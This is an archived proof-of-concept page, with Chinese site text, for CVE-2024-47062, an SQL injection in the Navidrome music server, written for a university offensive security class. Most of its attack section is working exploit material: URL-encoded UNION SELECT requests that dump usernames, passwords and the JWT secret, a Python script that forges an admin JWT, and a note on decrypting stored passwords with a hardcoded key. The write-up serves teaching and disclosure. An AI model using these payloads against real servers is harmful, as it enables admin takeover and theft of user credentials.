POC详情: 72ae5bb0a650e0c86aef82f2d99fb3ae9fea1aad

来源
关联漏洞
标题: Navidrome SQL注入漏洞 (CVE-2024-47062)
描述:Navidrome是Navidrome开源的一个基于 Web 的开源音乐收集服务器和流媒体。用于自由地从任何浏览器或移动设备收听音乐收藏。 Navidrome v0.52.5及之前版本存在SQL注入漏洞,该漏洞源于参数名称未正确转义,导致SQL注入。
描述
CVE-2024-47062 PoC
介绍
# CVE-2024-47062

> This PoC shows how an SQL Injection vulnerability in Navidrome (CVE-2024-47062) can be exploited to gain admin access. It explains how SQL Injection can reveal sensitive data, how to use a JWT token to obtain admin privileges, and how to decrypt passwords with a hardcoded key stored in Navidrome. This project was created for our Hacking and Offensive Security class (18-739D) at CMU.

>Team: Michael Crotty, Annie Liu, Tilden Jackson, Sai Sathvik

## Setup
- Create `navidrome-music` and `navidrome-data` directories.
- Download `docker-compose.yaml`, then run `sudo docker-compose up -d` to install the container.
- `Navidrome.db` is created when the instance is launched for the first time in the `navidrome-data` directory.
- Service can be accessed from `http://127.0.0.1:4533`

## Exploitation
### SQL Injection
- Able to trigger SQL Injection when passed query as a parameter to the request.
> Queries are URL encoded before being passed in the URL.
- Error in the docker logs, after passing `'=1` as parameter 
```
GET /api/radio?%27=1 HTTP/1.1

Log:
SELECT count(distinct radio.id) as count FROM radio WHERE (' LIKE {:p0})

Response:
"error":"unrecognized token: \"' LIKE ?)\""
```
- Dumped the user table, using the following payload `1=1) UNION SELECT id,user_name,password,is_admin,'','' FROM user --`
```
GET /api/radio?%31%3d%31%29%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%69%64%2c%75%73%65%72%5f%6e%61%6d%65%2c%70%61%73%73%77%6f%72%64%2c%69%73%5f%61%64%6d%69%6e%2c%27%27%2c%27%27%20%46%52%4f%4d%20%75%73%65%72%20%2d%2d=1 HTTP/1.1
```
![image](https://github.com/user-attachments/assets/8f8afd5a-0fa6-43fd-b4de-066ab1d6fcde)

- Dumped `property` table contains `JWTSecret`, which is further used to craft new JWT token. Payload used: `1=1) UNION SELECT ID,VALUE,'','','','' FROM property --`
```
GET /api/radio?%31%3d%31%29%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%69%64%2c%76%61%6c%75%65%2c%27%27%2c%27%27%2c%27%27%2c%27%27%20%66%72%6f%6d%20%70%72%6f%70%65%72%74%79%20%2d%2d=1 HTTP/1.1
```
![image](https://github.com/user-attachments/assets/7490eb9c-0619-42b2-ad1f-ae542f679e23)

### Crafting admin JWT Token to register new admin user
> Applicable when the password cannot be decrypted.
- Analysing the JWT token of the currently logged-in user
![image](https://github.com/user-attachments/assets/cd1e7482-6b9c-43a1-95df-e72e9c74389f)
- As we already have JWTSecret, we can construct a new token and bypass the restriction; for example, if the user is not admin, then we cannot view users at the `/api/users` endpoint
![image](https://github.com/user-attachments/assets/4afc4f62-0252-492d-9064-9e640c80a7d7)
- Using the `create_jwt.py`
```
import jwt

secret = "c1f24a44-98cc-4049-ada2-95363e18e437"

payload = {
  "exp": 1731449169,
  "iat": 1731276369,
  "iss": "ND",
  "sub": "sai",
  "uid": "d8f80c03-103a-4623-9fa9-fafa8836ca52"
}

token = jwt.encode(payload, secret, algorithm="HS256")

print(token)
# Output: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MzE0NDkxNjksImlhdCI6MTczMTI3NjM2OSwiaXNzIjoiTkQiLCJzdWIiOiJzYWkiLCJ1aWQiOiJkOGY4MGMwMy0xMDNhLTQ2MjMtOWZhOS1mYWZhODgzNmNhNTIifQ.GwtwapWo94fXOx7WSCQYpTVYfxeoLH0jpobfhjSzGX0
```
![image](https://github.com/user-attachments/assets/2a26e058-3140-4df8-b348-217dcc6e7716)
- Now we have admin privileges and can view all the users.
![image](https://github.com/user-attachments/assets/42d19ba0-e3d5-4114-bc5c-033eade56b7c)
- To register a new user, just send a `POST` request to the above, with the new user details.
![image](https://github.com/user-attachments/assets/79963a12-d5ed-46c0-8b7f-3cb2aabb9d8c)

### Hardcoded key?
- Navidrome stores encrypted passwords instead of hashing. It used AES with GCM Mode.
![image](https://github.com/user-attachments/assets/9418a5ce-0465-4255-a02a-950f1c6c0898)
- Yes, `just for obfuscation` is the key used. Using the `decryptor.py`, you can decrypt them.
![image](https://github.com/user-attachments/assets/4c117c48-2dbe-44c8-8caf-ab10507da53f)

文件快照

[4.0K] /data/pocs/72ae5bb0a650e0c86aef82f2d99fb3ae9fea1aad ├── [ 311] create_jwt.py ├── [1.0K] decryptor.py ├── [ 249] docker-compose.yml ├── [3.7K] exploit.py ├── [444K] navidrome.db └── [3.9K] README.md 0 directories, 6 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。